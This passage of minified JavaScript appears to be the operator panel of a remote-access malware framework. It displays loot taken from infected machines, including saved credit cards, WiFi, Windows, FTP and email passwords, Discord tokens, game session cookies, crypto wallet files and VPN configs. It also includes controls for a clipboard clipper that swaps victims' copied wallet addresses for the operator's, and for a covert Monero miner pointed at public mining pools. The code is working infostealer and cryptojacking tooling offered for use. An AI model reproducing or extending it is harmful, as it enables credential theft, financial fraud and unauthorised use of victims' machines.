0:_.length)??0,expanded:d.has("chrome_cards"),onToggle:()=>g("chrome_cards"),children:(O=i.chrome_cards)!=null&&O.length?a.jsxs("table",{className:"w-full text-xs",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Browser"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Name"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Number"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Exp"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.chrome_cards.map((X,re)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:X.browser}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text",children:X.name}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:se=>w(X.number,se),children:X.number}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:X.exp})]},re))})]}):a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No credit cards found"})}),a.jsx(Rn,{title:"WiFi Passwords",count:((P=i.wifi)==null?void 0:P.length)??0,expanded:d.has("wifi"),onToggle:()=>g("wifi"),children:(I=i.wifi)!=null&&I.length?a.jsxs("table",{className:"w-full text-xs",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"SSID"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Auth"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Password"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.wifi.map((X,re)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-medium",children:X.ssid}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:X.auth}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:se=>w(X.password,se),children:X.password||"(none)"})]},re))})]}):a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No WiFi passwords found"})}),a.jsx(Rn,{title:"Windows Credentials",count:((Y=i.windows_credentials)==null?void 0:Y.length)??0,expanded:d.has("windows_credentials"),onToggle:()=>g("windows_credentials"),children:(D=i.windows_credentials)!=null&&D.length?a.jsxs("table",{className:"w-full text-xs",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Target"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Username"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Password"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Type"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.windows_credentials.map((X,re)=>a.jsxs("tr",{className:`hover:bg-zerin-panel-hover ${X.is_rdp?"bg-zerin-accent-muted/30":""}`,children:[a.jsxs("td",{className:"px-4 py-1.5 text-zerin-text font-mono max-w-[200px] truncate",children:[X.is_rdp&&a.jsx("span",{className:"text-zerin-accent font-medium mr-1",children:"[RDP]"}),X.target]}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:se=>w(X.username,se),children:X.username}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:se=>w(X.password,se),children:X.password?"••••••••":""}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:X.type})]},re))})]}):a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No Windows credentials found"})}),a.jsx(Rn,{title:"Discord Tokens",count:((M=i.discord_tokens)==null?void 0:M.length)??0,expanded:d.has("discord_tokens"),onToggle:()=>g("discord_tokens"),children:(W=i.discord_tokens)!=null&&W.length?a.jsxs("table",{className:"w-full text-xs",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Source"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Type"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Token"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.discord_tokens.map((X,re)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:X.source}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:X.type}),a.jsxs("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent max-w-[300px] truncate",onClick:se=>w(X.token,se),children:[X.token.slice(0,20),"..."]})]},re))})]}):a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No Discord tokens found"})}),a.jsx(Rn,{title:"Applications",count:(($=i.telegram)!=null&&$.found?1:0)+(((H=i.filezilla)==null?void 0:H.length)??0)+(((F=i.winscp)==null?void 0:F.length)??0)+(((K=i.putty)==null?void 0:K.length)??0)+(((Z=i.outlook)==null?void 0:Z.length)??0),expanded:d.has("apps"),onToggle:()=>g("apps"),children:a.jsxs("div",{className:"space-y-3 p-4",children:[i.telegram&&a.jsxs("div",{children:[a.jsx("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:"Telegram"}),i.telegram.found?a.jsxs("div",{children:[a.jsxs("p",{className:"text-xs text-zerin-text font-mono mb-1",children:["Found at: ",a.jsx("span",{className:"text-zerin-accent cursor-pointer",onClick:X=>w(i.telegram.path,X),children:i.telegram.path})]}),(((oe=i.telegram.files)==null?void 0:oe.length)??0)>0&&a.jsx("div",{className:"flex flex-wrap gap-1.5 mt-1",children:i.telegram.files.map((X,re)=>a.jsxs("button",{onClick:()=>j(X.data,X.name),className:`inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent\r + bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer`,children:[a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),X.name]},re))})]}):a.jsx("p",{className:"text-xs text-zerin-text-muted",children:"Not installed"})]}),(((de=i.filezilla)==null?void 0:de.length)??0)>0&&a.jsxs("div",{children:[a.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:["FileZilla (",i.filezilla.length,")"]}),a.jsx("table",{className:"w-full text-xs",children:a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.filezilla.map((X,re)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsxs("td",{className:"py-1 text-zerin-text font-mono",children:[X.host,":",X.port]}),a.jsx("td",{className:"py-1 text-zerin-text font-mono",children:X.user}),a.jsx("td",{className:"py-1 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:se=>w(X.password,se),children:X.password?"••••••••":""})]},re))})})]}),(((be=i.winscp)==null?void 0:be.length)??0)>0&&a.jsxs("div",{children:[a.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:["WinSCP (",i.winscp.length,")"]}),a.jsx("table",{className:"w-full text-xs",children:a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.winscp.map((X,re)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"py-1 text-zerin-text font-mono",children:X.host}),a.jsx("td",{className:"py-1 text-zerin-text font-mono",children:X.user}),a.jsx("td",{className:"py-1 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:se=>w(X.password,se),children:X.password?"••••••••":""})]},re))})})]}),(((ye=i.putty)==null?void 0:ye.length)??0)>0&&a.jsxs("div",{children:[a.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:["PuTTY (",i.putty.length,")"]}),a.jsx("table",{className:"w-full text-xs",children:a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.putty.map((X,re)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"py-1 text-zerin-text-dim",children:X.session}),a.jsxs("td",{className:"py-1 text-zerin-text font-mono",children:[X.host,":",X.port]}),a.jsx("td",{className:"py-1 text-zerin-text font-mono",children:X.user})]},re))})})]}),(((G=i.outlook)==null?void 0:G.length)??0)>0&&a.jsxs("div",{children:[a.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:["Outlook (",i.outlook.length,")"]}),a.jsx("table",{className:"w-full text-xs",children:a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.outlook.map((X,re)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"py-1 text-zerin-text font-mono",children:X.account}),a.jsx("td",{className:"py-1 text-zerin-text font-mono",children:X.server}),a.jsx("td",{className:"py-1 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:se=>w(X.password,se),children:X.password?"••••••••":""})]},re))})})]}),!((te=i.telegram)!=null&&te.found)&&!((C=i.filezilla)!=null&&C.length)&&!((q=i.winscp)!=null&&q.length)&&!((ne=i.putty)!=null&&ne.length)&&!((B=i.outlook)!=null&&B.length)&&a.jsx("p",{className:"text-zerin-text-muted text-xs",children:"No application credentials found"})]})}),a.jsx(Rn,{title:"Gaming Sessions",count:((le=i.steam)!=null&&le.found?1:0)+((we=i.epic)!=null&&we.found?1:0)+(((Ne=i.minecraft)==null?void 0:Ne.length)??0)+((Ae=i.roblox)!=null&&Ae.found?1:0),expanded:d.has("gaming"),onToggle:()=>g("gaming"),children:a.jsxs("div",{className:"space-y-3 p-4",children:[((R=i.steam)==null?void 0:R.found)&&a.jsxs("div",{children:[a.jsx("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:a.jsx("span",{className:"text-blue-400",children:"Steam"})}),a.jsxs("div",{className:"flex flex-wrap gap-1.5",children:[i.steam.loginusers&&a.jsxs("button",{onClick:()=>j(i.steam.loginusers,"loginusers.vdf"),className:`inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent\r + bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer`,children:[a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),"loginusers.vdf"]}),i.steam.config&&a.jsxs("button",{onClick:()=>j(i.steam.config,"config.vdf"),className:`inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent\r + bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer`,children:[a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),"config.vdf"]}),(fe=i.steam.ssfn_files)==null?void 0:fe.map((X,re)=>a.jsxs("button",{onClick:()=>j(X.data,X.name),className:`inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent\r + bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer`,children:[a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),X.name]},re))]})]}),((ve=i.epic)==null?void 0:ve.found)&&a.jsxs("div",{children:[a.jsx("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:"Epic Games"}),a.jsxs("button",{onClick:()=>j(i.epic.config,"GameUserSettings.ini"),className:`inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent\r + bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer`,children:[a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),"GameUserSettings.ini"]})]}),(((V=i.minecraft)==null?void 0:V.length)??0)>0&&a.jsxs("div",{children:[a.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:["Minecraft (",i.minecraft.length,")"]}),a.jsx("div",{className:"flex flex-wrap gap-1.5",children:i.minecraft.map((X,re)=>a.jsxs("button",{onClick:()=>j(X.data,`${X.launcher}_accounts.json`),className:`inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent\r + bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer`,children:[a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),X.launcher]},re))})]}),((ae=i.roblox)==null?void 0:ae.found)&&a.jsxs("div",{children:[a.jsx("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:"Roblox"}),i.roblox.cookie?a.jsxs("p",{className:"text-xs text-zerin-text font-mono cursor-pointer hover:text-zerin-accent max-w-full truncate",onClick:X=>w(i.roblox.cookie,X),children:[".ROBLOSECURITY: ",i.roblox.cookie.slice(0,40),"..."]}):i.roblox.cookie_file?a.jsxs("button",{onClick:()=>j(i.roblox.cookie_file,"RobloxCookies.dat"),className:`inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent\r + bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer`,children:[a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),"RobloxCookies.dat"]}):null]}),!((U=i.steam)!=null&&U.found)&&!((Q=i.epic)!=null&&Q.found)&&!((he=i.minecraft)!=null&&he.length)&&!((E=i.roblox)!=null&&E.found)&&a.jsx("p",{className:"text-zerin-text-muted text-xs",children:"No gaming sessions found"})]})}),a.jsx(Rn,{title:"Crypto Wallets",count:((ce=i.wallets)==null?void 0:ce.length)??0,expanded:d.has("wallets"),onToggle:()=>g("wallets"),children:(J=i.wallets)!=null&&J.length?a.jsx("div",{className:"space-y-3 p-4",children:i.wallets.map((X,re)=>a.jsxs("div",{children:[a.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:[a.jsx("span",{className:"text-amber-400",children:X.name}),a.jsxs("span",{className:"text-zerin-text-muted ml-1.5 font-normal",children:["(",X.files.length," file",X.files.length!==1?"s":"",")"]})]}),a.jsx("div",{className:"flex flex-wrap gap-1.5",children:X.files.map((se,Oe)=>a.jsxs("button",{onClick:()=>j(se.data,se.name),className:`inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent\r + bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer`,children:[a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),se.name]},Oe))})]},re))}):a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No wallets found"})}),a.jsx(Rn,{title:"VPN Configs",count:((xe=i.vpn)==null?void 0:xe.length)??0,expanded:d.has("vpn"),onToggle:()=>g("vpn"),children:(ke=i.vpn)!=null&&ke.length?a.jsx("div",{className:"space-y-3 p-4",children:i.vpn.map((X,re)=>a.jsxs("div",{children:[a.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:[a.jsx("span",{className:"text-emerald-400",children:X.name}),a.jsxs("span",{className:"text-zerin-text-muted ml-1.5 font-normal",children:["(",X.files.length," file",X.files.length!==1?"s":"",")"]})]}),a.jsx("div",{className:"flex flex-wrap gap-1.5",children:X.files.map((se,Oe)=>a.jsxs("button",{onClick:()=>j(se.data,se.name),className:`inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent\r + bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer`,children:[a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),se.name]},Oe))})]},re))}):a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No VPN configs found"})}),(((ze=i.errors)==null?void 0:ze.length)??0)>0&&a.jsx(Rn,{title:"Errors",count:i.errors.length,expanded:d.has("errors"),onToggle:()=>g("errors"),children:a.jsx("div",{className:"p-4 space-y-1",children:i.errors.map((X,re)=>a.jsxs("div",{className:"text-xs",children:[a.jsxs("span",{className:"text-zerin-text-dim font-medium",children:[X.source,":"]})," ",a.jsx("span",{className:"text-zerin-danger",children:X.error})]},re))})})]}),v&&a.jsx("div",{className:`fixed z-50 px-2.5 py-1 text-xs font-medium text-white bg-zerin-accent\r + pointer-events-none animate-fade-in`,style:{left:v.x,top:v.y,transform:"translate(-50%, -100%)"},children:v.text}),!i&&!o&&!c&&a.jsx("div",{className:"flex items-center justify-center py-20",children:a.jsxs("div",{className:"text-center",children:[a.jsx("div",{className:"w-14 h-14 mx-auto mb-4 bg-zerin-panel-hover flex items-center justify-center",children:a.jsx("svg",{className:"w-7 h-7 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15.75 5.25a3 3 0 013 3m3 0a6 6 0 01-7.029 5.912c-.563-.097-1.159.026-1.563.43L10.5 17.25H8.25v2.25H6v2.25H2.25v-2.818c0-.597.237-1.17.659-1.591l6.499-6.499c.404-.404.527-1 .43-1.563A6 6 0 1121.75 8.25z"})})}),a.jsx("h3",{className:"text-zerin-text font-medium text-sm mb-1",children:"Credential Recovery"}),a.jsxs("p",{className:"text-zerin-text-muted text-xs",children:["Click ",a.jsx("span",{className:"font-semibold text-zerin-accent",children:"Grab Credentials"})," to recover saved passwords, cookies, tokens, and more."]})]})})]})}function Rn({title:e,count:t,expanded:n,onToggle:r,children:i}){return a.jsxs("div",{className:"border border-zerin-panel-border overflow-hidden",children:[a.jsxs("button",{onClick:r,className:`w-full flex items-center gap-2 px-4 py-2.5 text-left\r + hover:bg-zerin-panel-hover transition-colors`,children:[a.jsx("svg",{className:`w-3.5 h-3.5 text-zerin-text-dim transition-transform ${n?"rotate-90":""}`,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 5l7 7-7 7"})}),a.jsx("span",{className:"text-sm font-semibold text-zerin-text",children:e}),a.jsx("span",{className:"text-xs font-mono text-zerin-text-muted bg-zerin-panel-hover px-1.5 py-0.5",children:t})]}),n&&a.jsx("div",{className:"border-t border-zerin-panel-border",children:i})]})}const lV=[{key:"btc",label:"Bitcoin (BTC)",placeholder:"bc1q... or 1.../3...",color:"text-orange-400"},{key:"eth",label:"Ethereum (ETH)",placeholder:"0x...",color:"text-blue-400"},{key:"ltc",label:"Litecoin (LTC)",placeholder:"L.../M.../ltc1...",color:"text-gray-300"},{key:"xmr",label:"Monero (XMR)",placeholder:"4...",color:"text-orange-300"},{key:"doge",label:"Dogecoin (DOGE)",placeholder:"D...",color:"text-yellow-400"},{key:"sol",label:"Solana (SOL)",placeholder:"Base58 address",color:"text-purple-400"},{key:"xrp",label:"Ripple (XRP)",placeholder:"r...",color:"text-blue-300"},{key:"trx",label:"Tron (TRX)",placeholder:"T...",color:"text-red-400"},{key:"bnb",label:"BNB Chain",placeholder:"bnb1...",color:"text-yellow-300"}],cV={btc:"",eth:"",ltc:"",xmr:"",doge:"",sol:"",xrp:"",trx:"",bnb:""};function R2(e,t){if(!t)return null;switch(e){case"btc":return t.startsWith("bc1")&&t.length>=25&&t.length<=62||(t.startsWith("1")||t.startsWith("3"))&&t.length>=25&&t.length<=34?null:"Invalid BTC address";case"eth":return/^0x[0-9a-fA-F]{40}$/.test(t)?null:"Invalid ETH address (0x + 40 hex)";case"ltc":return t.startsWith("ltc1")&&t.length>=25||(t.startsWith("L")||t.startsWith("M"))&&t.length>=26&&t.length<=34?null:"Invalid LTC address";case"xmr":return t.startsWith("4")&&t.length===95?null:"Invalid XMR address (starts with 4, 95 chars)";case"doge":return t.startsWith("D")&&t.length===34?null:"Invalid DOGE address";case"sol":return t.length>=32&&t.length<=44?null:"Invalid SOL address (32-44 chars)";case"xrp":return t.startsWith("r")&&t.length>=25&&t.length<=35?null:"Invalid XRP address";case"trx":return t.startsWith("T")&&t.length===34?null:"Invalid TRX address";case"bnb":return t.startsWith("bnb1")&&t.length===42?null:"Invalid BNB address"}return null}function uV({agentId:e,agentStatus:t}){const[n,r]=m.useState({...cV}),[i,s]=m.useState(!1),[o,l]=m.useState(!1),[c,u]=m.useState(null),[d,f]=m.useState({}),p=t==="dead",h=(b,w="ok")=>{u({text:b,type:w}),setTimeout(()=>u(null),3e3)},x=(b,w)=>{r(N=>({...N,[b]:w}));const j=R2(b,w);f(N=>{const z={...N};return j?z[b]=j:delete z[b],z})},g=Object.entries(n).some(([b,w])=>w&&!d[b]),y=m.useCallback(async()=>{if(p)return;const b={};for(const[w,j]of Object.entries(n))if(j){const N=R2(w,j);N&&(b[w]=N)}if(f(b),Object.keys(b).length>0){h("Fix validation errors first","err");return}l(!0);try{const w={};for(const[j,N]of Object.entries(n))N&&(w[j]=N);await Me(e,{command:"clipper_config",args:[JSON.stringify(w)]}),h("Config sent to agent")}catch(w){h(w instanceof Error?w.message:"Failed","err")}finally{l(!1)}},[e,n,p]),v=m.useCallback(async()=>{if(!p){l(!0);try{if(!i&&g){const b={};for(const[w,j]of Object.entries(n))j&&(b[w]=j);await Me(e,{command:"clipper_config",args:[JSON.stringify(b)]})}await Me(e,{command:i?"clipper_stop":"clipper_start"}),s(!i),h(i?"Clipper stop sent":"Clipper start sent")}catch(b){h(b instanceof Error?b.message:"Failed","err")}finally{l(!1)}}},[e,i,n,g,p]);return a.jsxs("div",{className:"p-6 animate-fade-in space-y-6",children:[c&&a.jsx("div",{className:`fixed top-4 right-4 z-50 px-4 py-2 text-sm font-medium shadow-lg + ${c.type==="ok"?"bg-emerald-500/20 border border-emerald-500/40 text-emerald-400":"bg-zerin-danger-dim border border-zerin-danger/40 text-zerin-danger"}`,children:c.text}),a.jsxs("div",{className:"flex items-center gap-4",children:[a.jsxs("div",{className:"flex items-center gap-2",children:[a.jsx("div",{className:`w-3 h-3 rounded-full ${i?"bg-emerald-500 animate-pulse":"bg-zinc-600"}`}),a.jsxs("span",{className:"text-sm font-semibold text-zerin-text",children:["Crypto Clipper ",i?"(Active)":"(Inactive)"]})]}),a.jsxs("button",{onClick:v,disabled:o||p,className:`inline-flex items-center gap-2 text-sm font-medium px-4 py-2 transition-colors + disabled:opacity-30 disabled:cursor-not-allowed + ${i?"bg-zerin-danger hover:bg-red-600 text-white":"bg-emerald-600 hover:bg-emerald-500 text-white"}`,children:[o?a.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}):i?a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5.25 7.5A2.25 2.25 0 017.5 5.25h9a2.25 2.25 0 012.25 2.25v9a2.25 2.25 0 01-2.25 2.25h-9a2.25 2.25 0 01-2.25-2.25v-9z"})}):a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5.25 5.653c0-.856.917-1.398 1.667-.986l11.54 6.348a1.125 1.125 0 010 1.971l-11.54 6.347a1.125 1.125 0 01-1.667-.985V5.653z"})}),i?"Stop Clipper":"Start Clipper"]}),a.jsx("button",{onClick:y,disabled:o||p||!g,className:`inline-flex items-center gap-1.5 text-sm font-medium\r + text-zerin-text-dim hover:text-zerin-text\r + bg-zerin-panel hover:bg-zerin-panel-hover\r + border border-zerin-panel-border\r + px-3 py-2 transition-colors\r + disabled:opacity-30 disabled:cursor-not-allowed`,children:"Save Config"}),p&&a.jsx("span",{className:"text-zerin-danger text-xs font-medium",children:"Agent offline"})]}),a.jsx("div",{className:"grid grid-cols-1 lg:grid-cols-2 xl:grid-cols-3 gap-4",children:lV.map(({key:b,label:w,placeholder:j,color:N})=>a.jsxs("div",{className:"space-y-1",children:[a.jsx("label",{className:`text-xs font-semibold ${N}`,children:w}),a.jsx("input",{type:"text",value:n[b],onChange:z=>x(b,z.target.value),placeholder:j,className:`w-full bg-zerin-bg border px-3 py-2 text-sm font-mono text-zerin-text + placeholder-zerin-text-muted + focus:outline-none focus:ring-1 transition-all + ${d[b]?"border-zerin-danger/50 focus:border-zerin-danger focus:ring-zerin-danger/20":"border-zerin-panel-border focus:border-zerin-accent/50 focus:ring-zerin-accent/20"}`}),d[b]&&a.jsx("p",{className:"text-[10px] text-zerin-danger",children:d[b]})]},b))}),a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4 space-y-2",children:[a.jsx("h4",{className:"text-xs font-semibold text-zerin-text-dim uppercase tracking-wider",children:"How it works"}),a.jsxs("ul",{className:"text-xs text-zerin-text-muted space-y-1 list-disc list-inside",children:[a.jsx("li",{children:"Monitors clipboard for crypto wallet addresses"}),a.jsx("li",{children:"Automatically replaces detected addresses with your wallets"}),a.jsx("li",{children:"Supports BTC (bech32 + legacy), ETH, LTC, XMR, DOGE, SOL, XRP, TRX, BNB"}),a.jsx("li",{children:"Uses AddClipboardFormatListener (event-driven, zero CPU when idle)"}),a.jsx("li",{children:"Config can be updated while running"})]})]})]})}const $2=["pool.hashvault.pro:443","pool.supportxmr.com:443","xmr-eu1.nanopool.org:14433","gulf.moneroocean.stream:10128"];function dV({agentId:e,agentStatus:t}){const[n,r]=m.useState($2[0]),[i,s]=m.useState(""),[o,l]=m.useState(""),[c,u]=m.useState(50),[d,f]=m.useState(!1),[p,h]=m.useState(null),[x,g]=m.useState(null),y=m.useRef(null),v=t==="dead",b=(x==null?void 0:x.running)??!1,w=(S,A)=>{h({text:S,type:A}),setTimeout(()=>h(null),5e3)};m.useEffect(()=>{if(!e)return;const S=async()=>{try{const A=await Xn(e),_=(A.tasks??[]).filter(O=>O.command==="miner_status").sort((O,P)=>new Date(P.created_at).getTime()-new Date(O.created_at).getTime());if(_.length>0){const O=_[0],P=(A.results??[]).find(I=>I.task_id===O.id);if(P!=null&&P.output)try{const I=JSON.parse(P.output);g(I)}catch{}}}catch{}};return S(),y.current=setInterval(S,5e3),()=>{y.current&&clearInterval(y.current)}},[e]);const j=async()=>{if(!i.trim()){w("Wallet address is required","err");return}f(!0);try{await Me(e,{command:"miner_start",args:[n,i.trim(),o||"worker",String(c)]}),w("Miner start command sent","ok"),setTimeout(async()=>{try{await Me(e,{command:"miner_status"})}catch{}},3e3)}catch(S){w(S instanceof Error?S.message:"Failed to start","err")}finally{f(!1)}},N=async()=>{f(!0);try{await Me(e,{command:"miner_stop"}),g(null),w("Stop command sent","ok")}catch(S){w(S instanceof Error?S.message:"Failed to stop","err")}finally{f(!1)}},z=async()=>{try{await Me(e,{command:"miner_status"}),w("Status request sent","ok")}catch(S){w(S instanceof Error?S.message:"Failed to query status","err")}},k=S=>{const A=Math.floor(S/3600),_=Math.floor(S%3600/60),O=Math.floor(S%60);return A>0?`${A}h 